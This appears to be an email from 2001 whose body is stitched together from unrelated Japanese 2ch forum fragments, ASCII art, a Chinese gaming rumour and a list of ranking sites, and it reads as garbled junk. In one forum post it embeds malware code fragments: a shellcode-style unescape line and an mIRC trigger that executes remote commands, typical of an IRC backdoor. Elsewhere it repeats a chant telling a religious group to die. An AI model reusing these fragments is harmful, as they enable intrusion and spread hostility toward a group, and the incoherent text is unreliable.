Received: from [204.142.79.55] by hotmail.com (3.2) with ESMTP id MHotMail*****
Received: from [email protected] ([216.12.96.66]) by [email protected]
(Lotus Domino Release 5.0.3) with SMTP id 2001100623372968:909 ; Sat, 6 Oct 2001 23:37:29 -0400
From [email protected] Sun, 07 Oct 2001 02:01:13 -0700
X-Mailer: WEBmail 2.70
X-MIMETrack: Itemize by SMTP Server on Pyramid03/Pyramid Consulting Services(Release 5.0.3 |March 21, 2000)
at 10/06/2001 11:37:30 PM,Serialize by Router on Pyramid01/Pyramid Consulting Services(Release 5.0.6a |January 17, 2001)
at 10/07/2001 05:16:40 AM,Serialize complete at 10/07/2001 05:16:40 AM
Message-ID: <OF4D3671E5.320E549B-ON85256ADE.0013E9A7@LocalDomain>

今からだ、見てろ！

コードブルー
コドブル
コトブル
ことぶき
寿

i

（＾＾）

（＾＾）

（＾＾）

おでもネメッケ星につれてけけ！

（＾＾）

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

　　　 　∧＿∧　 ∧＿∧
ﾋﾟｭ.ｰ　（　 ・３・） (　　＾＾ ） ＜これからも僕たちを応援して下さいね（＾＾）。
　　＝〔~∪￣￣￣∪￣￣〕
　　＝ ◎――――――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉&ぼるじょあ

　　　 (⌒V⌒)
　　　│ ＾ ＾ │＜これからも僕を応援して下さいね（＾＾）。
　　⊂|　　　　|つ
　　　（＿）（＿）　　　　　　　　　　　　　　　　　　　　　　山崎パン

fa

？外還有1位日本重量級的遊戲製作人將在明天宣布加入微軟陣營；據傳有可能是一手打造「太空戰士」的FF之父阪口博信

＾＾

＾＾

うつありりりりりりｒっりりりいりりｒ

今、このワームに感染してる香具師ってこの世に何人いるんだろうね?

SｐｙSifterのスレはここですか？

グラスがやる条件と体調によってオペに勝てるが正しい

>>166から3年経過

4 ：ｚ：2010/08/28(土) 10:25:02 ID:NtVfNVmU0
452 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:53:49.30 ID:7Cr427LS0
>>440
・プロバイダの新しい有料メールアドレス
・ジャパンネットバンク銀行の使い捨て番号のVISAデビット
ニ.フ.ティ.ーの100円のメアドプラスで認証が通った。
認証できたら、メアドプラスは登録解除してOK。
普通のクレジットカードでは漢字の住所が登録できたが、
ジャパンネットバンク銀行のVISAデビットだとローマ字入力の住所を要求された。

ローマ字の書き方はこれ
ヘボン式ローマ字綴方表
http://www.seikatubunka.metro.tokyo.jp/hebon/

漢字住所でどんな順序でどんなローマ字、番地の番号を使ったかは、
メモ帳でメアド・パスワードと一緒に控えておいたほうがいい。
453 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:55:00.00 ID:t966sYmN0
ローマ字変換
eip=eip+unescape("%u7030%u4300")
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
http://www2u.biglobe.ne.jp/~yuichi/rest/kanarome.html
454 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:56:54.59 ID:qfPgiwgp0
●買うなんて荒らしと一緒だぞ
455 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:50.21 ID:d455Pgrw0
荒らしが運営に喧嘩売っても被害を被るのは巻き添え食らってる人だけっていう…
荒らしたもん勝ち
456 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:54.30 ID:sPPrGi160
荒らしが●を買ったんだとしたら、個人情報登録してるんじゃないのか？
それで同一名義のアカウント全部停止するとか、
新たに買おうとしてきても拒否するというのはできないんだろうか？

溢れている

ザ・シャッフル！

そ・う・か
し・ね
そ・う・か
し・ね
そ・う・か
し・ね　
そ・う・か
し・ね
そ・う・か
し・ね
そ・う・か
し・ね
そ・う・か
し・ね
そ・う・か
し・ね
そ・う・か
し・ね
そ・う・か
し・ね
そ・う・か
し・ね
そ・う・か
し・ね

逝ってよし

★2ch勢いランキングサイトリスト★

◎ +ニュース
・ 2NN
・ 2chTimes
◎ +ニュース新着
・ 2NN新着
・ Headline BBY
◎ +ニュース他
・ Desktop2ch
・ 記者別一覧
◎ 全板
・ 全板縦断勢いランキング
・ スレッドランキング総合ランキング
◎ 実況込み
・ 2勢
・ READ2CH
・ i-ikioi

※ 要サイト名検索